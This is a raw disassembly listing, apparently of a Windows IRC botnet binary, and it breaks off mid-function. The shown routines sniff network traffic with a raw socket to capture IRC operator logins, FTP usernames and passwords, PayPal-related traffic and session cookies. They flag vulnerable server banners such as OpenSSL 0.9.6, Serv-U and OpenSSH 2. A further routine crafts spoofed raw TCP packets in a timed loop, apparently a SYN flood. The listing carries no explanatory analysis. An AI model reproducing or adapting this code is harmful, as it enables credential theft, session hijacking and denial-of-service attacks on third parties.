		test	eax, eax
		pop	ecx
		jnz	loc_410D78
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410D78
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410D1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_410E31	proc near		; CODE XREF: sub_41101A+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410E4B


loc_410E47:				; CODE XREF: sub_410E31+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410E4B:				; CODE XREF: sub_410E31+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E47
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410E71


loc_410E6D:				; CODE XREF: sub_410E31+4Fj
					; sub_410E31+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410E71:				; CODE XREF: sub_410E31+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E6D
		push	offset aOper	; "oper	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410E6D
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410E31	endp


; =============== S U B	R O U T	I N E =======================================



sub_410EA7	proc near		; CODE XREF: sub_41101A+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410EC1


loc_410EBD:				; CODE XREF: sub_410EA7+29j
					; sub_410EA7+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410EC1:				; CODE XREF: sub_410EA7+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EBD
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EBD
		push	offset a220	; "220 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410EF8


loc_410EF4:				; CODE XREF: sub_410EA7+60j
					; sub_410EA7+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410EF8:				; CODE XREF: sub_410EA7+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EF4
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410EF4
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410EA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_410F2E	proc near		; CODE XREF: sub_41101A+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410F48


loc_410F44:				; CODE XREF: sub_410F2E+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410F48:				; CODE XREF: sub_410F2E+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F44
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410F6E


loc_410F6A:				; CODE XREF: sub_410F2E+4Fj
					; sub_410F2E+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410F6E:				; CODE XREF: sub_410F2E+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6A
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6A
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410F6A
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410F2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_410FB5	proc near		; CODE XREF: sub_41101A:loc_4113DFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410FCF


loc_410FCB:				; CODE XREF: sub_410FB5+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410FCF:				; CODE XREF: sub_410FB5+14j
		push	offset aDd	; "#dd"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FCB
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410FF5


loc_410FF1:				; CODE XREF: sub_410FB5+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_410FF5:				; CODE XREF: sub_410FB5+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410FF1
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_410FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41101A	proc near		; DATA XREF: sub_401AC7+3B2Ao

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4C9814	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4C9880	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_418810
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4C987C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4110C0
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4110C0:				; CODE XREF: sub_41101A+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4C982C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411136
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436DB0
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411112
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408C5D
		add	esp, 14h


loc_411112:				; CODE XREF: sub_41101A+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9894	; closesocket
		push	[ebp+var_34]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_411136:				; CODE XREF: sub_41101A+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4C97B0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4111BC
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_436D80
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_411198
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408C5D
		add	esp, 14h


loc_411198:				; CODE XREF: sub_41101A+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9894	; closesocket
		push	[ebp+var_34]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread


loc_4111BC:				; CODE XREF: sub_41101A+13Cj
		mov	esi, 200h


loc_4111C1:				; CODE XREF: sub_41101A+1D6j
					; sub_41101A+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4C9818	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_4111C1
		push	[ebp+var_113A4]
		mov	edi, dword_4231C8
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_4111C1
		cmp	[ebp+arg_0], 19h
		jz	short loc_4111C1
		cmp	edi, 6Eh
		jz	short loc_4111C1
		cmp	edi, 19h
		jz	short loc_4111C1
		push	[ebp+var_113AC]
		call	sub_410D0B
		pop	ecx
		push	dword ptr [eax]
		call	dword_4231CC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		push	[ebp+var_113A8]
		call	sub_410D0B
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_4231CC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset dword_42E264
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_4176F0
		add	esp, 10h
		test	eax, eax
		jle	short loc_4112BF


loc_41128B:				; CODE XREF: sub_41101A+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4112A2
		mov	byte ptr [eax],	20h


loc_4112A2:				; CODE XREF: sub_41101A+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4112AA
		mov	byte ptr [eax],	20h


loc_4112AA:				; CODE XREF: sub_41101A+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4176F0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41128B


loc_4112BF:				; CODE XREF: sub_41101A+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_411372
		cmp	edi, 50h
		jz	loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410D1A
		test	al, al
		pop	ecx
		jz	short loc_411306
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436D4C
		jmp	loc_4113A1
; ---------------------------------------------------------------------------


loc_411306:				; CODE XREF: sub_41101A+2C7j
		cmp	edi, 50h
		jz	short loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410E31
		test	al, al
		pop	ecx
		jz	short loc_41133C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436D18
		jmp	short loc_4113A1
; ---------------------------------------------------------------------------


loc_41133C:				; CODE XREF: sub_41101A+300j
		cmp	edi, 50h
		jz	short loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410EA7
		test	al, al
		pop	ecx
		jz	short loc_411372
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436CE4
		jmp	short loc_4113A1
; ---------------------------------------------------------------------------


loc_411372:				; CODE XREF: sub_41101A+2A9j
					; sub_41101A+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_410F2E
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_4113DF
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_436CAC


loc_4113A1:				; CODE XREF: sub_41101A+2E7j
					; sub_41101A+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_4111C1
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_4111C1
; ---------------------------------------------------------------------------


loc_4113DF:				; CODE XREF: sub_41101A+36Ej
		call	sub_410FB5
		test	al, al
		pop	ecx
		jz	loc_4111C1
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_436C74
		jmp	short loc_4113A1
sub_41101A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41140D	proc near		; DATA XREF: sub_401AC7+5C6Bo

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4117F6
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_436DDC
		push	eax
		call	sub_417D96
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_41149D
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_408C5D
		add	esp, 14h


loc_41149D:				; CODE XREF: sub_41140D+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_413B5E
		push	[ebp+var_290]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_41140D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4114BF	proc near		; CODE XREF: sub_4117F6+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C977C	; WSAStartup
		test	eax, eax
		jz	short loc_4114FF
		xor	eax, eax
		jmp	loc_4117F2
; ---------------------------------------------------------------------------


loc_4114FF:				; CODE XREF: sub_4114BF+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C98A0	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4117EA
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4C97E0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4117E0
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4C9800	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4C9800	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4C9800	; htons
		mov	[ebp+var_12], ax
		call	sub_417DF2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4C9800	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4C97FC	; htonl
		push	offset dword_436E38
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4115CF
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_411623
; ---------------------------------------------------------------------------


loc_4115CF:				; CODE XREF: sub_4114BF+105j
		push	offset dword_436E2C
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4115EB
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_411623
; ---------------------------------------------------------------------------


loc_4115EB:				; CODE XREF: sub_4114BF+121j
		push	offset dword_436E20
		push	[ebp+arg_8]
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411623
		call	sub_417DF2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_417DF2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_411623:				; CODE XREF: sub_4114BF+10Ej
					; sub_4114BF+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4C9800	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_423130	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_419780
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_411671:				; CODE XREF: sub_4114BF+2E2j
					; sub_4114BF+2F0j
		mov	[ebp+var_4], bx
		call	sub_417DF2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C9800	; htons
		mov	[ebp+var_14], ax
		call	sub_417DF2
		mov	edi, eax
		shl	edi, 10h
		call	sub_417DF2
		or	edi, eax
		push	edi
		call	dword_4C9800	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C97FC	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C9800	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_409D76
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_418810
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_409D76
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_418810
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4C9860	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4117B4
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_42312C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4117DD
		jl	loc_411671
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4117DD
		jmp	loc_411671
; ---------------------------------------------------------------------------


loc_4117B4:				; CODE XREF: sub_4114BF+2CBj
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_436E04
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_413B5E
		add	esp, 10h
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DD:				; CODE XREF: sub_4114BF+2E0j
					; sub_4114BF+2EEj
		mov	ebx, [ebp+arg_8]


loc_4117E0:				; CODE XREF: sub_4114BF+78j
					; sub_4114BF+31Cj
		push	[ebp+var_20]
		call	dword_4C9894	; closesocket
		pop	esi


loc_4117EA:				; CODE XREF: sub_4114BF+5Bj
		call	dword_4C9764	; WSACleanup
		mov	eax, ebx


loc_4117F2:				; CODE XREF: sub_4114BF+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4114BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117F6	proc near		; CODE XREF: sub_41140D+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409C07
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_417C89
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_417C89
		mov	edi, eax
		call	sub_417DF2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4114BF
		add	esp, 20h
		test	eax, eax
		jnz	short loc_411845
		push	1
		pop	eax


loc_411845:				; CODE XREF: sub_4117F6+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4117F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411854	proc near		; DATA XREF: sub_401AC7+5E44o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4C987C	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4118EF
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436F28
		push	eax
		call	sub_417D96
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4118D2
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_408C5D
		add	esp, 14h


loc_4118D2:				; CODE XREF: sub_411854+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_413B5E
		push	[ebp+var_38]
		call	sub_40A51F
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread


loc_4118EF:				; CODE XREF: sub_411854+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4C97E0	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411966
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_436EF8
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
